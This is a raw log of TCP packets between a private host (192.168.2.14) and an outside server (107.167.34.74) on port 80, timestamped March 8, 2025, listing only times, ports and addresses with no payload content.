Mar 8, 2025 11:40:55.757546902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757581949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757596016 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757596016 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757596016 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757618904 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757627964 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757652998 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757662058 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757687092 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757709026 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757719040 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757723093 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757754087 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757754087 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757786989 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757795095 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757822990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757828951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757855892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757858992 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757890940 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.757893085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.757936001 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758311987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758347034 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758357048 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758392096 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758405924 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758440018 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758450985 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758474112 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758477926 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758506060 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758511066 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758539915 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758543968 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758574009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.758583069 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.758625031 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759330988 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759363890 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759380102 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759397984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759404898 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759428978 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759432077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759459019 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759465933 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759499073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759506941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759529114 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759532928 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759569883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.759572029 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.759608984 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760077000 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760113955 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760134935 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760169029 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760183096 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760200977 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760210991 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760235071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760238886 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760267019 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760272026 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760303974 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760313988 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760368109 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.760371923 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.760402918 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761111021 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761143923 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761152029 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761178017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761181116 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761210918 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761213064 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761245012 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761257887 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761277914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761279106 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761312962 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761315107 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761347055 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761352062 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761378050 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761847019 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761878967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761888027 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761921883 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761930943 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761964083 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.761967897 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.761997938 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762006998 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762032986 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762037039 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762068987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762069941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762103081 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762104988 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762149096 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762784958 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762819052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762830973 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762855053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.762861013 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.762887955 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763118982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763156891 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763171911 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763206005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763214111 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763238907 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763241053 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763273001 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763272047 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763305902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763314009 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763339996 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763348103 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763374090 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763375044 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763406038 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763956070 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763969898 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763984919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.763994932 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763994932 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.763999939 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764015913 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764022112 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764029980 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764034033 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764045954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764050961 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764060974 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764065027 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764077902 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764091015 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764735937 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764775038 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764899015 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764914036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764929056 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764941931 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764942884 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764942884 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764957905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764961004 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764967918 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.764972925 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764987946 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.764993906 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765001059 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765002966 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.765014887 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765032053 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765784979 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.765800953 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.765815973 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.765826941 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765830994 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.765837908 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765837908 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.765871048 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847548008 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847632885 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847688913 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847714901 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847714901 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847738028 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847747087 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847781897 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847789049 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847819090 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847872019 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847903967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847948074 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.847958088 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847990990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.847996950 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848011017 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848025084 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848026037 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848040104 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848053932 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848057985 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848068953 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848094940 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848124027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848174095 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848181009 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848186016 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848198891 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848228931 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848232985 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848265886 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848284006 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848301888 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848315954 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848346949 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848366976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848401070 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848411083 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848436117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848450899 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848469973 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848486900 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848500967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848509073 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848534107 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848546028 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848570108 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848573923 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848603964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848612070 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848638058 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848644972 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848673105 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848697901 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848740101 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848754883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848793983 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848804951 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848838091 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848845005 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848870039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848877907 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848907948 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848925114 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848942041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.848949909 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848970890 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.848977089 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849009991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849019051 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849042892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849045992 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849078894 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849078894 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849112034 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849119902 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849145889 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849148989 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849176884 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849184990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849226952 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849235058 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849275112 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849287033 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849320889 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849328995 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849354029 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849356890 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849386930 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849390030 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849420071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849426985 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849452972 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849453926 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849486113 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849492073 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849519014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849520922 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849551916 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849555969 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849586010 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849591970 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849617958 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849621058 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849652052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849658012 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849685907 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849693060 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849719048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849723101 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849751949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849756002 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849785089 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849785089 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849817991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849823952 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849852085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849854946 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849884987 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849893093 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849926949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849941015 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849961042 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.849967003 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.849999905 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850002050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850034952 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850047112 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850069046 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850070953 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850105047 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850105047 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850137949 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850171089 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850176096 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850203991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850209951 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850238085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850243092 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850270987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850275040 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850301981 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850305080 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850337982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850343943 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850369930 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850373983 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850403070 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850410938 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850436926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850441933 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850469112 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850470066 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850505114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.850508928 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.850545883 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.871850014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.871896982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.871907949 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.871936083 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.871958971 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.871995926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872008085 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872031927 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872061014 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872068882 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872068882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872107983 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:55.872122049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872155905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:55.872163057 CET	50336	80	192.168.2.14	107.167.34.74
